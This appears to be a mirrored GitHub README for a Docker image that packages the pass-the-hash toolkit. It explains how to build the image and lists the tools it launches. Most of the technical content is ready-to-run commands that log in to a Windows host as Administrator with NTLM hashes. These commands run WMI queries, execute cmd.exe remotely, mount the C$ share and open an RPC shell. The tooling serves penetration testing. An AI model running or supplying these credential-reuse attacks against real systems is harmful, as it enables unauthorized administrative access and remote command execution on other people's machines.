Code Monkey home page Code Monkey logo

pth-toolkit-docker's Introduction

pth-toolkit docker

This docker build comes from the frustrating attempts to run the pass-the-hash toolkit with libreadline6 and python2 without messing up the system.

You can build your pth-toolkit docker image by executing:

git clone https://github.com/gnebbia/pth-toolkit-docker
cd pth-toolkit-docker
docker build -t gnc/pth-toolkit .

Once the image is created we can launch any pth-tool by doing:

docker run -it --rm gnc/pth-toolkit pth-smbclient $arg1 $arg2 

The list of launchable executables is:

  • pth-net
  • pth-rpcclient
  • pth-smbclient
  • pth-smbget
  • pth-winexe
  • pth-wmic
  • pth-wmis

How to pass the hash with the pth-toolkit: Examples

Execute WMI queries

docker run -it --rm gnc/pth-toolkit \
pth-wmic -U WORKGROUP/Administrator%aad3b435b51407eeaberb435b51404ee:D162E311D3F450A7FF2571BB59FBEDE5 \
//192.168.1.25 "select Name from Win32_UserAccount"

Execute WMI commands

docker run -it --rm gnc/pth-toolkit \
pth-wims -U WORKGROUP/Administrator%aad3b435b51807eeaad3b435b51404ee:D292E311D3F450A7FF2571BB89FAEDE5 \
//192.168.1.25 "cmd.exe /c whoami > c:\temp\result.txt"

Connect with SMB shares

docker run -it --rm gnc/pth-toolkit \
pth-smbclient -U WORKGROUP/Administrator%abd3b485b51404eeaad3b435b51404ee:A052E311D3F450AAFFA571AB59FBEDE5 \
//192.168.1.25/c$

Connect with an SMB shell

docker run -it --rm gnc/pth-toolkit \
pth-rpcclient -U WORKGROUP/Administrator%ba282037831412aeaad3b435b51404ee:CAF2A311DAF450AAB26571BB59FBEDE5 //192.168.1.25

pth-toolkit-docker's People

Contributors

gnebbia avatar

Watchers

James Cloos avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.